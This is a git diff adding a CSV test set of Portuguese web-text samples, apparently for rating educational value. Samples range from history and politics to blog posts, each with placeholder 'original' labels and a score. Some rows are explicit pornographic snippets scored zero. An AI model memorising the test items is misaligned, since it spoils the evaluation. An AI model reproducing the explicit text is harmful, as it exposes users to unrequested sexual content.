diff --git "a/educational_dataset_test.csv" "b/educational_dataset_test.csv" new file mode 100644--- /dev/null +++ "b/educational_dataset_test.csv" @@ -0,0 +1,17139 @@ +text_sample,area,topico,publico,justificativa,pontos,score +"Vem, no meio de nós e ao nosso mundo ferido. +Vem dar-nos a alegria de viver o cotidiano à luz do Evangelho +Torna-nos dóceis e abertas a Tua criatividade original +para podermos ouvir, discernir e servir a humanidade pobre",original,original,original,original,1,0.2 +"Provável ano do nascimento de Diogo Álvares Corrêa, na Península Ibérica: no norte de Portugal ou no noroeste da Espanha (Galícia). Uma terceira versão confere-lhe o nascimento no oeste da França (Bretanha). +Provável ano do nascimento da índia Paraguassú, na Ilha de Itaparica ou na região do Baixo Paraguaçu. +Rodrigo de Acuña, comandante do galeão espanhol San Gabriel, encontra-se com Caramuru. +No dia 30 de julho, em Saint-Malo, provavelmente na Cathédrale Saint-Vicent-de-Saragosse, Paraguassú é batizada e recebe o nome de Katherine du Brezil. +Caramuru e Katherine regressam da França, após se casarem sob as bênçãos católicas e onde ele teria passado importantes informações à espionagem portuguesa. +Martim Afonso de Souza, comandante de uma expedição colonizadora, que se destinava ao sul do Brasil, chega à Baía de Todos os Santos em 13 de março, onde encontra Caramuru. Pero Lopes de Souza, piloto de uma das naus da esquadra, registra no diário de navegação: +“Nesta baía achamos um homem português, que havia vinte e dois anos que estava nesta terra”. +Retornando do sul, em demanda a Portugal, Pero Lopes de Souza entra na Baía de Todos os Santos e encontra-se novamente com Caramuru. +Martim Afonso de Souza, de passagem para a Ásia, faz escala na Baía de Todos os Santos e pela segunda vez se encontra com Caramuru. Na expedição encontrava-se um grupo de franciscanos, liderados por frei Diogo de Borba, que oficia batizados de crianças mamelucas e o casamento de Madalena e Felipa, filhas que Caramuru teve antes de conhecer a índia Paraguassú. +Caramuru constrói, a pedido da esposa, um oratório de taipa para abrigar a imagem da Virgem Maria. Essa capela, atual Igreja de Nossa Senhora da Graça, foi o primeiro templo católico no Brasil. +Juan de Mori, comandante da nau espanhola San Pedro, encontra-se com Caramuru e faz o seguinte registro no diário de bordo: “Neste porto estava um cristão que se disse Diego Alvares, que há 26 anos ali estava”. +Francisco Pereira Coutinho, donatário da recém-criada Capitania da Bahia de Todos os Santos, chega com a comitiva de colonos e encontra Caramuru, que o auxilia na fundação de uma vila, que ficou conhecida como Vila do Pereira. Foi erguida no outeiro de Santo Antônio da Barra, perto da aldeia em que Caramuru residia com familiares e alguns brancos, dentre eles o clérigo João Bezerra. +Caramuru vai a Porto Seguro conversar com o donatário deposto. Comunica-lhe um ataque de corsários franceses à sua vila e pede que Francisco Pereira Coutinho, o Rusticão, volte para defender a capitania. A viagem resultou numa carta, datada de 28 de julho de 1546, enviada pelo donatário da Capitania de Porto Seguro, Pero do Campo Tourinho, ao rei de Portugal, D. João III, onde num trecho aludiu: +Thomé de Souza, primeiro governador-geral do Brasil, chega no dia 29 de março. A expedição é bem recebida pelos nativos, tendo à frente Caramuru, cuja colaboração foi de extrema importância para selar a paz dos tupinambás com os portugueses, garantindo a tranquila construção da Cidade do Salvador. +No dia 31 de março, em solenidade presidida pelo jesuíta Manuel da Nóbrega, foi celebrada a primeira festa mariana no Brasil, na Ermida da Nossa Senhora da Graça, com uma missa em honra à chegada de Thomé de Souza, que esteve presente, juntamente com membros da sua comitiva, de vários índios e do primeiro casal cristão do Brasil, Caramuru e Catharina Paraguassú. +Caramuru falece em Salvador, no dia 5 de outubro, com a idade presumida de 67 anos, sendo sepultado na Igreja do Mosteiro de Jesus – atual Catedral Basílica –, com todas as honras da ordem jesuítica.",original,original,original,original,4,0.8 +"Ela só gosta de dar o cu - Porno Bengala +Depois de chupar a rola do seu parceiro ela mostrou pra ele que só gosta de dar o cu na hora do sexo.",original,original,original,original,0,0.0 +"Não há plugins para instalar ou ativar. Voltar para o Painel",original,original,original,original,0,0.0 +"Discurso de José Cláudio Pereira Neto na Câmara Municipal de Maringá por ocasião de sua posse como prefeito no dia 1° de janeiro de 2001 | Maringá, Maringá +Discurso de José Cláudio Pereira Neto na Câmara Municipal de Maringá por ocasião de sua posse como prefeito no dia 1° de janeiro de 2001 +Nós entramos a partir deste dia no ano do cinquentenário da emancipação política de Maringá e isto não é pouca coisa, visto que a cidade que temos, construída no esforço de nossos pioneiros e pelos esforços de pessoas como o doutor Adriano aqui presente. +Mas também estamos no primeiro dia de um novo século e, se não bastasse, de um novo milênio, o que me leva a refletir ainda mais na generosidade de Deus para com todos nós em podermos estar vivendo esta oportunidade. +Por outro lado, há que se pensar e muito na responsabilidade que temos com nossa cidade, com nosso país, com a nossa gente! A qualquer de nós já não é exigido o sacrifício de sair à rua para percebermos que não temos a cidade que queremos, o país que merecemos e a felicidade de nossa gente, que tanto se faz necessário. +Não bastasse a miséria estabelecida e imposta para mais de 40 milhões de brasileiro, que resulta na fome, na ausência de emprego, na omissão do Estado em oferecer o mínimo da tutela determinada na Constituição, no quesito da saúde, da educação, do bem-estar, vindo somando a tudo isso a exposição da nossa gente a um aumento desenfreado da violência, estamos vivendo o pior momento da conduta moral e ética da maioria da classe política dirigente de nossos destinos. +Sem descer às minúcias, aos detalhes e aos números, mas a uma realidade global, é possível afirmar, sem medo de errar ou de ser injusto com a classe política, que, de cada real arrecadado pelo setor público em nosso país, 60% dele é roubado ou desperdiçado, e os outros 40% nem sempre são aplicados, obedecendo-se ao princípio do qual o social deve prevalecer sobre as demais ações do governo, ou seja, as obras para atender as necessidades dos grupelhos que se associam aos governos e políticos são priorizadas e, após tudo isso, se houver sobras, então aplica-se em favor da vida. +E é por isso que assistimos este espetáculo dantesco de ausência de ações públicas em favor da vida. Ainda pior é a ação nefasta deste projeto neoliberal que, em nome desta tal globalização, condiciona o nosso país a uma situação de colônia, submissa aos interesses da especulação internacional, ao saque do patrimônio nacional construído com suor e vida de todos nós. E, diante de nossos olhos, sucateiam e arrebentam com as empresas nacionais, promovendo toda sorte de agressões cambial e tarifária à nossa força produtiva. +Não fosse o Brasil um país rico pela sua natureza e o seu povo generoso pela sua imensa capacidade de solidariedade, certamente povos sofridos de países do terceiro mundo iriam sentir-se honrados em nos ter como sócios de sua miséria. +Não fosse nossa cidade ser forte e sua gente laboriosa, certamente nós estaríamos assumindo este governo como síndicos de uma falência e não como porta-vozes de uma nova esperança de realização do sonho de dias melhores. +Faz-se necessário refletir o porquê de uma cidade como Maringá foi saqueada e um povo humilhado pela ação de um desgoverno. O que leva pessoas que recebem a mais preciosa honraria, que é a de governar um povo valente, trabalhador, honesto e solidário, se afastarem dos caminhos da honestidade, da humildade, dos caminhos de Deus! +Refletir o porquê do Poder Legislativo, salvo suas exceções, ficar surdo, mudo e cego, quando detém poderes para defender o povo, interrompendo um mau governo. +A conclusão a que chego é que a ganância pelo dinheiro, associada à vaidade pelo poder, tirou da classe política a sensibilidade pela humildade e pela honestidade e acabou com o medo da mão de Deus. O que nos dá alegria, nos mantém otimistas e sempre nos renova a esperança e nos permite continuar sonhando com as mudanças é a força da nossa gente aliada às riquezas de nossa cidade. É possív...",original,original,original,original,2,0.4 +"Mensagens de Paixão (Página 7) - Mundo das Mensagens +Você com seu jeito de fazer amor, +é tão selvagem, tão instinto... +Você me envolvendo com teu abraço, +teu suor, me fazendo ofegar +quando me olha como um homem deve me olhar. +Ah, que delícia! Nós dois à beira da +loucura, à beira de um mar de desejos, +aquele fogo da paixão em nossos corpos, +querendo ser tocados, acariciados... +É tão gostoso fazer amor com você, +é tão gostoso sentir você acariciando +todo o meu corpo, é tão maravilhoso +sentir o calor do seu corpo no meu. +Você me deixa louca quando me ama e +quando arde de paixão! +É sinônimo de alegria...",original,original,original,original,0,0.0 +"Página 11 dos resultados de 241 itens digitais encontrados em 0.031 segundos +Costa, Susana; Centro de Estudos Sociais +#Ciência forense#justiça#identificação por perfis genéticos +A ciência forense pretende auxiliar o direito tornando a justiça mais científica e, portanto, em princípio, mais rigorosa. Uma manifestação recente dessa pretensão é o uso da identificação por perfis genéticos. A adopção desta técnica veio abrir novas possibilidades no domínio da identificação individual, mas também tornar visíveis problemas de ordem técnica e prática que podem tornar o seu uso controverso e estar na origem de abusos e de erros judiciais, podendo pôr em causa princípios fundamentais da cidadania e da vida democrática.Os obstáculos ao cumprimento das promessasde uma técnica que, à primeira vista, poderia vir resolver muitos dos problemas que se colocam ao meio judicial, nomeadamente o da adequação da sentença ao crime, são numerosos. Um tema que assume no quadro desta problemática uma importância central é o da padronização das técnicas, geralmente encarada como uma garantia de rigor, de estabilidade e de possibilidade de utilização flexível dessas técnicas. Mas a padronização das técnicas suscita, por sua vez, o problema da possibilidade de padronização do direito. Este estudo procura identificar as forças e fragilidades desta técnica, tentando perceber, em simultâneo... +Rinke,Stefan; Silva,André Felipe Cândido da; Junghans,Miriam; Cavalcanti,Juliana Manzoni; Muñoz,Pedro Felipe Neves de +#história global/história transnacional#relações Europa-América Latina#relações Brasil-Alemanha#Stefan Rinke (1965- ) +Acadêmico que se dedica a pensar o desenvolvimento histórico da América Latina levando em consideração sua inserção no concerto internacional, o historiador alemão Stefan Rinke, da Universidade Livre de Berlim, é entrevistado por alunos e ex-alunos da Casa de Oswaldo Cruz/Fiocruz. Dimensões diversas como as relações econômicas e diplomáticas, os fluxos migratórios e os conflitos étnicos constituem, nos trabalhos de Rinke, meios de análise das redes de interdependência que ataram a América Latina à Europa e aos EUA. Suas reflexões extrapolam o âmbito do continente latino-americano e permitem pensar a globalização como processo histórico, situando contextos nacionais e regionais num quadro geral. Na entrevista Rinke fala sobre sua trajetória acadêmica, história global/transnacional e projetos conjuntos entre a Alemanha e a América Latina. +Souza,Juliano de; Almeida,Bárbara Schausteck de; Marchi JÚNIOR,Wanderley +#Pierre Bourdieu#Sociologia#Futebol +AS OPÇÕES ESTRATÉGICAS DAS EMPRESAS LOCAIS EM FACE DA GLOBALIZAÇÃO DA ATIVIDADE PRODUTIVA: UM ESTUDO EXPLORATÓRIO NA CADEIA DO LEITE +##empresas locais#opções estratégicas#cadeia +A entrada de empresas transnacionais no país afeta a competitividade das empresas brasileiras, principalmente as que operam apenas no mercado local. As dificuldades de crescimento ou mesmo de sobrevivência destas empresas em face do processo de globalização da atividade produtiva são o foco deste trabalho. Busca-se aqui aprofundar o entendimento sobre como as empresas que atuam apenas no mercado local estão se reestruturando estrategicamente, principalmente numa cadeia agroindustrial como a do leite, caracterizada pela concentração de empresas de capital estrangeiro. Por ser um tema em estágio inicial de conhecimento, optou-se pela realização de estudo de casos exploratórios. Os casos analisados ilustram possíveis estratégias de sobrevivência e de crescimento para as empresas brasileiras, a partir de um mapeamento das opções estratégicas disponíveis às mesmas. +Mundo da Vida, Ethos Democrático e Mundialização: A Democracia Deliberativa segundo Habermas; Life world, democratic ethos and mundialization: deliberative democracy according to Habermas +Oliveira, Nythamar de; Pontifícia Universidade Católica (PUC-RS)/CNPq +#deliberative democracy#democratic ethos#globalization#juridification#democracia deliberativa#ethos democrático#...",original,original,original,original,2,0.4 +"Hummmmm... Gosto quando você conta os detalhes,tipo as posições da transa.rsrs.Muito bom! E a foto do post de hoje é uma delícia. +Já tô ansioso pra ler sua próxima aventura! Torço para que seus posts sejam mensais.",original,original,original,original,0,0.0 +"Qual é a idade certa para empreender? - Empreender Depois dos 30 +Para falar um pouco do empreendedorismo ao longo das idades, preparamos este post. Nele, você vai descobrir se há idade certa para empreender. Ficou interessado em conferir tudo com a gente? Então, leia o nosso artigo! +O empreendedorismo aos 20 anos +Aposto que se você passou dos 30 anos como eu, deve sentir saudade da época da faculdade, amigos e balada, não é verdade? Saiba que essas são as maiores preocupações de quem tem 20 anos. Entretanto, também há jovens nessa faixa etária que têm vontade de tirar sua startup do papel. +No entanto, empreender envolve muitas incertezas, principalmente quando se trata de uma startup. Mas com um pouco de coragem, estudo e conhecimento você consegue encarar o empreendedorismo. +A fase dos 20 é a idade que transforma o empreendedorismo em aventura. +Nesta idade, os jovens são curiosos, têm a auto estima elevada e não têm medo de correr riscos. Apesar da vitalidade para superar incertezas e desafios, os empreendedores mais jovens sofrem com sua falta de experiência. Portanto, se você realmente quer empreender nesta idade, deverá estar preparado para qualquer tipo de desafio. +O empreendedorismo aos 30 anos +A fase dos 30 anos é aquela em que muitas pessoas passam pelo casamento, o nascimento dos filhos e a pós-graduação. E é a partir dos 30 que as obrigações surgem. As pessoas desta idade buscam sua realização pessoal com a empresa, algo que muitos empregos não proporcionam. +Por isso, é nessa fase que muitas pessoas trocam o certo pelo “incerto”. Preferem criar algo do “zero” e acreditar em seus próprios sonhos. +E é esta a faixa etária que mais busca informações junto ao Sebrae. Apesar de terem certo conhecimento da atividade que desejam empreender, essas pessoas não costumam conhecer a gestão a fundo. +Além disso, a maior dificuldade do empreendedor nesta fase é formar um bom time de colaboradores, pois quanto mais o empreendimento cresce, mais difícil é gerenciar sozinho o negócio. +O empreendedorismo aos 40 anos +E será que essa é a idade certa para empreender? Então, vamos analisar essa fase: muitos têm casa própria, carro na garagem e até segurança financeira. O empreendedor com 40 anos de idade é aquele que já passou pelo mercado de trabalho e busca mais qualidade de vida. +Nesta fase, as pessoas costumam estar mais preparadas, possuem muito conhecimento e vivência. Elas têm o capital que precisam e sabem a importância do planejamento para o seu sucesso profissional. +No entanto, os pontos negativos desta fase são a falta de agilidade dos 20 anos e a preferência por investir em negócios menos arriscados, como as franquias. +O empreendedorismo aos 50 anos +Antigamente, quem chegava aos 50 anos queria se aposentar, curtir a vida, o lazer com a família e ter o seu tempo livre para jogar um baralho com os amigos. Sabe aquela frase que a vida começa aos 40? Não, meu caro leitor, a vida começa aos 50 anos de idade. +Muitos cinquentões estão em pleno vigor. Tem gente que até começou a empreender nessa idade e, detalhe, contando até com a ajuda da mulher e dos filhos. Entretanto, o empreendedorismo nesta fase da vida aparece como uma necessidade. +Os empreendedores são bem sucedidos em suas carreiras profissionais e estão começando a sair do mercado. No entanto, a maior vantagem de empreender com 50 anos é que você já tem conhecimento suficiente, pois está mais preparado para não cair em algumas armadilhas do próprio mercado. +Agora que você já viu como é o empreendedorismo em cada fase da vida, poderá refletir sobre qual é a idade certa para empreender, não é verdade? Analise seus sonhos e tire-os do papel! O importante é você acreditar em si mesmo e ver que a sua ideia vale a pena! +E aí, você também tem vontade de empreender? Conte para gente os seus sonhos!",original,original,original,original,2,0.4 +"Se tem uma coisa que não é possível, é tecer um elogio inédito à Sasha Grey. Não dá. Tudo o que poderia ser dito, já foi. +Isso não significa, porém, que ela tenha tudo o que quer. Para alguém como ela, cada manhã é um dia para conquistar algo a mais, de ampliar seu território, de expandir suas possibilidades. A Sasha jamais se conforma. +Isso te um efeito colateral, claro, como tudo a vida. O que a move é o que a faz infeliz. Quando o esforço da vitória chega ao seu fim e os frutos são colhidos, o que sobra é um quarto de hotel vazio após uma noite que sequer parece ter realmente acontecido. +Ela deita, sozinha, esperando pela próxima coisa. +A sua insatisfação, assim como a nossa, nunca termina. +Esse vídeo, como tudo que gira ao redor da Sasha Grey, é meio proibido, obscuro. Não está na busca do Vimeo, nem está liberado na página de quem fez o upload. Só está disponível nesse grupo e não pode ser embutido em lugar algum. +Para ver, você terá de clicar na imagem. E garanta que não tem ninguém olhando. +Nota: Lembra quando a gente entrevistou a Sasha Grey? Vale assistir de novo pra matar as saudades. +Como fotografar uma mulher nua (e leitores podem participar)",original,original,original,original,0,0.0 +"Prefeitura de Nova Ponte - MG anuncia Concurso Público +Inscrições vão iniciar em novembro de 2015 e devem ser feitas por profissionais de nível superior. +Segunda-feira, 21 de setembro de 2015 às 08h59 +A Prefeitura Municipal de Nova Ponte, em Minas Gerais, informa a todos por meio de publicação no Diário Oficial que irá realizar novo Concurso Público para profissionais de nível superior. +São oportunidades para os cargos de Advogado (2 vagas); Biomédico (2 vagas); Docente Ciências (2 vagas); Docente Geografia (2 vagas); Docente História (2 vagas); Docente Matemática e Geometria (3 vagas); Docente Português e Redação (3 vagas); Enfermeiro (4 vagas); Engenheiro Civil (1 vaga); Farmacêutico (3 vagas); Fisioterapeuta (1 vaga); Fisioterapeuta (1 vaga); Fonoaudiólogo (1 vaga); Terapeuta Ocupacional (1 vaga); e Veterinário (1 vaga). +Os profissionais devem atuar em jornadas de 20h, 25h, e 40h semanais, com remunerações que variam de R$ 1.960,66 a R$ 3.395,55. Em alguns cargos há vagas para pessoas com necessidades especiais. +As inscrições estarão abertas a partir das 9h do dia 23 de novembro de 2015 até às 15h59 do dia 23 de dezembro de 2015, e devem ser realizadas no site da organizadora Instituto Brasileiro de Gestão e Pesquisa (www.ibgp.org.br). A taxa de inscrição deve ser paga por meio de boleto bancário, e os valores podem ser de R$ 80,00, R$ 90,00 ou R$ 100,00, de acordo com o cargo escolhido. +No dia 24 de janeiro de 2015, está prevista a aplicação da Prova Objetiva de Múltipla Escolha, na cidade de Nova Ponte. Esta prova tem duração de quatro horas e é composta de 50 questões, sobre Português, Conhecimentos Gerais, Informática, Legislação Municipal, Saúde Pública, Legislação Educacional e Conhecimentos Específicos. +Há ainda Prova de Títulos, cujo formulário deve ser encaminhado via Sedex ou Carta, ambos com Aviso de Recebimento, ou caso o candidato prefira pode ser entregue na sede do IBGP. +O prazo de validade deste Concurso é de dois anos, a contar da data de sua homologação, podendo ser prorrogado uma vez por igual período, a critério exclusivo do Poder Executivo do Município de Nova Ponte.",original,original,original,original,1,0.2 +"As raízes dessa data têm início durante a I Revolução Industrial iniciada na Inglaterra e que se alastrou por vários países da Europa no século XVIII. Mas foi em 1886 em Chicago que houve o 1° de maio dos trabalhadores devido a uma greve geral, onde operários de um parque industrial paralisaram as fábricas reivindicando melhores condições de trabalho, sendo a principal a redução da jornada, que chegava a 17 horas, para 8 horas diárias, e foram brutalmente reprimidos pela polícia. +No Brasil, em 1924 o 1° de Maio foi instituído como o Dia do Trabalhador graças à luta da classe operária e do movimento sindical em um país que estava se industrializando e negligenciava o bem estar e a dignidade dos trabalhadores. Em 1943 o governo Vargas sofria forte pressão de sindicatos e trabalhadores pela regulamentação das relações de trabalho. Naquele momento histórico o movimento sindical era muito forte e organizado. Pressionado, o governo Vargas acabou por outorgar a Consolidação das Leis Trabalhistas, estabelecendo garantias, como salário mínimo, décimo terceiro, carga horária, direito a férias e descanso remunerado. +Apesar das conquistas dos trabalhadores ainda há muito pelo que lutar. Atualmente governo brasileiro aprovou a reforma da previdência, reforma trabalhista, terceirização e instituiu o contrato verde e amarelo. Essas são medidas que isentam os patrões e fazem com que os brasileiros percam os seus direitos e sejam submetidos a condições degradantes durante o trabalho. +Essas alterações são responsáveis por impactos profundos na economia e na estrutura social, trazendo precarização, desemprego em massa e a fome em boa parte da população. +Por esses motivos, precisamos seguir firmes na luta para impedir que a precarização do trabalho se acentue ainda mais na população brasileira e na América Latina. +O Sindicato das Advogadas e Advogados do Estado de São Paulo sempre esteve ao lado dos trabalhadores e desde sua fundação, em 1952, por meio da organização de uma advocacia trabalhista combativa e propositiva, vem lutando para barrar os retrocessos e garantir que a Constituição Federal seja cumprida, com garantias de dignidade aos trabalhadores, e contra a desregulamentação nas relações de trabalho.",original,original,original,original,4,0.8 +"A prática mediúnica :: . +Página inicial > A prática mediúnica +Médium todos nós somos, existem graus diferentes de mediunidade. +Sempre achei que qualquer prática, para ser efetiva, tem que ter disciplina, esforço e dedicação. Com perseverança e força de vontade um atleta com aptidão, pode ser campeão. +Assim é também com o médium. +Infelizmente, muitos médiuns com dons maravilhosos, não encontram explicação para os fenômenos que lhes acontecem, não são acessíveis não existem em sua religiões, e seus familiares são ignorantes espiritualmente. +A maioria desses irmãos são levados pelos médicos ao tratamento psiquiátrico onde são radicalmente medicados e chamados de doentes mentais. +Outros, enveredam por caminhos pessoais, desorientados e também assistidos por espíritos desorientados(quando não trevosos), esquecendo que um ego mesquinho e vaidoso vai atrair só seus iguais. +Daí a importância de estudarmos, aprendendo a pratica do amor e da caridade procurando nos conhecer, concertando e ajustando nossos íntimos atentos à aprendizagem dos nossos maravilhosos irmãos da Espiritualidade Superior. +Muitas vezes durante os “trabalhos ou giras” temos a presença de generosos Espíritos Iluminados que nos vêm travestidos em Pretos-Velhos, Caboclos ou Crianças e que usando linguagem simples e palavras consideradas incultas, nos dão valiosas lições do verdadeiro sentido da vida..",original,original,original,original,2,0.4 +"Proteste Investe | Glossário financeiro - Índice bolsista +Um índice bolsista é um valor que traduz a tendência geral de um determinado conjunto de títulos, nomeadamente, ações (por país, região, setor), através de um média das subidas e das descidas. +O valor do índice é relativo. Parte-se, por exemplo, de uma base de 100. A progressão do índice traduz-se pela evolução do valor face ao momento inicial. Um ��ndice que tenha começado em 100 e atinja 200 num dado período significa que, em média, as ações que o compõem duplicaram de valor durante esse espaço de tempo. +Para calcular um índice de bolsa, podem considerar-se todas as ações cotadas numa Bolsa. Contudo, também é possível limitar o índice às ações mais importantes ou mais representativas de uma bolsa, que são ponderadas de forma a refletir a sua importância no mercado, ou calcular vários índices consoante os vários setores de atividade. Tal como existem muitas bolsas, setores e regiões, há também um grande número de índices que foram criados para as representar.",original,original,original,original,4,0.8 +"GabiiVinholi: RESENHA:TOQUE DE NATUREZA-Lápis delineador de olhos (Black) *--* +Boa tarde meninas, tudo bem com vocês? Eu estou, graças a Deus *--* Aii a semana ta corrida viu =/ To em época de provas na faculdade, trabalhos e mais trabalhos =/ Mas jaja entro de férias *o* Bom deixa eu contar uma mega novidade para vocês *o* Como muitas de vocês devem saber dia 17 de novembro(domingo), eu completo 18 aninhos.Isso mesmo meninas, estou ficando velhinha poxa, USAHUSAHSHAUSHUAHS' E meus pais já adiantaram o presente, GANHEI UMA MOTO DELES *o* Eu estou muito grata, de verdade.Eu amo minha família, e só tenho a agradecer por tudo que eles fazem por mim.Agora, só tenho que tirar a carta, USHAUSAHSUHAUSHAUHSHAS' Enfim...Chega de lero lero e vamos a resenha:RESENHA:TOQUE DE NATUREZA-Lápis delineador de olhos (Black) *--* +O que falar desse lápis ? Simplesmente que ele é TUDO DE BOM *o* Como vocês devem saber, eu sou apaixonada por lápis de delinear os olhos e eu havia feito uma viagem com a minha faculdade, para um lugar em que eu ia ficar o dia todo fora, entrando em cavernas, rios e tudo mais, e precisava de algo que realmente fosse bom, então fui e comprei esse e confesso que não me arrependo de nada *o* Ele é super aprova d'água, ultra fixação mesmo e o preço é super em conta, eu paguei nele 13,00 reais aqui na minha cidade.Se vocês tiverem a oportunidade de testar esse lápis e são como eu apaixonadas por lápis de delinear os olhos, super recomendo *o* Eu sinceramente achei ele ótimo, nunca achei um lápis que durasse tanto em mim, para vocês terem noção eu dormi uma vez com ele e acordou perfeitinho *o* Mas vale lembrar que isso tudo que estou falando é a minha opinião e o que pode ser bom para mim pode ser ruim para vocês, mas faço essas resenhas para vocês terem noção de alguns produtinhos.Espero que vocês tenham gostado lindonas, só para lembrar ta rolando um sorteio aqui no blog, especial de 2 anos.Bora participar: http://gabiivinholi.blogspot.com.br/2013/11/sorteio-2-anos-com-o-blog.htmlUM SUPER BEIJO E FIQUEM COM DEUS ;*",original,original,original,original,1,0.2 +"Quais são as complicações para a mãe e para o bebê quando se tem diabetes gestacional? _ Minha Vida +Quais são as complicações para a mãe e para o bebê quando se tem diabetes gestacional? +As complicações possíveis para a mãe são: aumento da chance de DHEG (doença hipertensiva da gestação), laceração de períneo, eclampsia, infecções urinarias de repetição e maior chance de manter o diabetes apos o parto. +Já para o bebê são: macrossomia (bebê muito grande), prematuridade e hipoglicemia (glicose baixa demais) ao nascer. +Contudo, seguindo as recomendações médicas, os riscos para a mãe e bebê diminuem bastante. +Avalie e previna os riscos de uma gravidez após os 35 anos",original,original,original,original,2,0.4 +"Pare de treinar sem rumo e comece a treinar para a aventura +Descubra os melhores exercícios do Freeletics para preparar seu corpo para o montanhismo, caminhadas em trilhas, esqui e snowboard. +Os esportes de montanha são extremos – extremamente gratificantes, extremamente aventureiros, extremamente atléticos. Mas isso não significa que eles se restrinjam apenas a atletas extremos. Se você quiser se tornar um aventureiro que busca emoção, que passa seu tempo no ar livre, no alto, assistindo o nascer e o por do sol, é só escolher seu esporte ao ar livre e preparar fisicamente seu corpo para a escalada. Pronto para despertar o aventureiro dentro de você? Veja como treinar para a aventura: +Trilha e montanhismo +O alpinismo e a caminhada em trilhas incluem movimentos cíclicos (movimentos únicos repetidos). Embora seja provável que você fique na zona aeróbica (o caminho da energia que usa oxigênio e que é usado para atividades de duração mais longa), a velocidade e a altitude podem tornar a caminhada uma experiência exaustiva e que não deve ser subestimada. Prepare-se treinando o seguinte: +Panturrilhas: Quando você anda numa subida, seus músculos da panturrilha são estendidos. Quanto mais íngreme for, mais eles são esticados, o que pode resultar em uma sensação de queimação desagradável cada vez que seu pé atingir o chão. É por isso que é importante que você treine bem este grupo muscular com exercícios de perna que se concentrem em salto e resistência, tais como squats, lunges, split lunges, side lunges ou cossacks squats. Claro que sem esquecer o óbvio, calf-raises. +Tronco e braços: Mas não se trata só das pernas: No montanhismo é necessário ter um tronco forte e bem treinado – incluindo ombros e braços. Seu tronco te mantém ereto para quaisquer movimentos imprevisíveis como, por exemplo, se você for atingido por uma rajada de vento que possa te derrubar. Aqui, os planks são sempre a melhor aposta. É ótimo ter uma combinação de planks estáticas e dinâmicas, tais como high plank shoulder taps ou low plank twists. Braços fortes também tem um papel muito mais importante do que você pensa, agindo como sua ferramenta para pegar, empurrar e puxar ou mesmo acelerar naqueles metros finais até o topo. O treino regular com exercícios como pullups, pushups e incline rows é um ótimo jeito de fortalecer o bíceps e o tríceps, bem como suas costas. E exercícios como deadlifts, no aplicativo Freeletics Gym, podem ser usados ​​para melhorar a força de pegada e para treinar os flexores do punho +Resistência Aeróbica: Caminhada em trilhas envolve seu corpo em constante movimento por um longo período de tempo. Portanto, é crucial que você treine sua resistência aeróbica correndo ou remando com uma intensidade baixa a média por cerca de 90 a 120 minutos. Isso faz com que seu corpo se acostume à intensidade e à sensação de estar em constante movimento por horas a fio. +Snowboard e esqui são considerados movimentos acíclicos. Aqui, em vez de movimentos repetidos regularmente, explosões curtas de energia e a força tomam o lugar, além de um alto grau de concentração mental. Veja o que você precisa trabalhar: +Equilíbrio: Os praticantes de snowboard dirão que é mais fácil esquiar, os esquiadores dirão que é mais fácil fazer snowboard – dizemos que ambos merecem atenção. O equilíbrio é a chave para esses esportes de montanha e pode ser treinado através da realização de certos exercícios em objetos instáveis ​​- por exemplo, pushups com as mãos e os pés sobre bolas medicinais, ou exercícios que exijam que você fique de pé em uma perna, tais como pistol squats. +Concentração e tempo de reação: Um esquiador/praticante de snowboard com experiência sempre pensa um passo à frente de várias voltas e normalmente realiza os movimentos subconscientemente. Este “planejamento” pode ser observado na fase de preparação em corridas de esqui, quando os atletas ficam de olhos olhos fechados enquanto são levados montanha acima. No final de um longo dia de esqui, você reconhecerá q...",original,original,original,original,3,0.6 +"Em 1997, Caetano Veloso lançou seu primeiro livro de memórias. Intitulado Verdade Tropical, o trabalho influenciou até um disco que lançou mais ou menos na mesma época, que ele intitulou de forma espirituosa Livro. +Na época, não me interessei por lê-lo, ou por viver um momento conturbado em minha vida pessoal, ou por absoluta falta de dinheiro para comprá-lo, ou ainda por temer um amontoado verborrágico de páginas intermináveis. +Sim, Caetano Veloso é um gênio, um artista brilhante, alguém que há muito deixou o seu nome cravado na cultura brasileira com destaque. Mas em algumas ocasiões ele pode ser meio difícil de se digerir. E um livro parecia ser a mídia mais provável para que isso acontecesse de forma exponencial. +Treze anos se passaram. Dentro de uma revistaria situada numa rodoviária de São Paulo há algumas semanas, vi uma edição pocket de Verdade Tropical a preço acessível, e me deu um clique: chegou a hora de ler Caetano. +Me dei bem. Verdade Tropical, que está mais para “Minha Verdade Tropical”, representa pensamentos, opiniões e análises deliciosas de alguém que tem uma infinidade de experiências maravilhosas de vida e que, generosamente, resolveu dividi-las com os interessados. +Não se trata de uma autobiografia tradicional, pois ele, se conta várias passagens de sua existência pessoal e profissional, prefere centrar fogo na experiência do Tropicalismo. +Lendo o livro de Caetano, você terá um belo depoimento de quem esteve no centro da criação de um dos mais importantes movimentos musicais da história da música brasileira, cujos frutos influenciam até hoje a música feita no Brasil e no mundo. +As análises, opiniões e teorias do artista são sempre escritas de forma caudalosa, entusiasmada e ativa, sem subir em cima de muros e sempre tomando partidos nos mais diversos momentos. +O relato dos meses em que ficou preso pela Ditadura Militar, do final de 1968 até meados de 1969, é uma boa oportunidade de se ver o quanto aquele período foi nefasto na vida política do Brasil. +Detalhes sobre músicas fundamentais como Tropicália e Alegria, Alegria também tornam a leitura de Verdade Tropical indispensável para quem é apaixonado por música. +Como não abordou todos os aspectos de sua carreira, fica a esperança de que, um dia, Mr. Veloso possa escrever outro registro desse gabarito, trazendo mais lembranças desses anos intensos de criação e polêmicas de sua vida. +Só não consigo compartilhar de seu entusiasmo por João Gilberto, que para mim foi, é e sempre será um pioneiro que, com o passar dos anos, virou uma espécie de Chuck Berry da bossa nova, refazendo mal a mesma coisa e sendo ultrapassado pelos artistas que influenciou, entre eles o próprio Caetano. Bem, mas essa é a minha verdade tropical… +Uncategorized +caetano velosolivrotropicalismoverdade tropical +Previous post +Ivan Lins aos 65 anos de idade, parabéns! +Next post +Paul McCartney: meu ídolo agora tem 68 anos +1 Comment +Everaldo Gomes +August 18, 2013 at 5:11 pm +Sempre achei o trabalho de Ivan Lins, um espetáculo, +de uma criatividade genial, +um artista diferenciado, e incrível, +parabéns Ivan Lins, +por todo esse sucesso, +” EVERALDO GOMAS” +Leave a Reply Cancel reply +Your email address will not be published. +Author * +Email * +Website +BUSCA +CATEGORIAS +as tais memórias +avançando rumo ao passado +Colunas +Discos indiscutíveis +Editorial +entrevistas +Gimme Five +Grandes nomes esquecidos +lollapalooza brasil 2013 +Notícias +Resenhas +Rock in Rio 2011 +testes/quiz +Uncategorized +vídeos clássicos do chacur +ÚLTIMOS 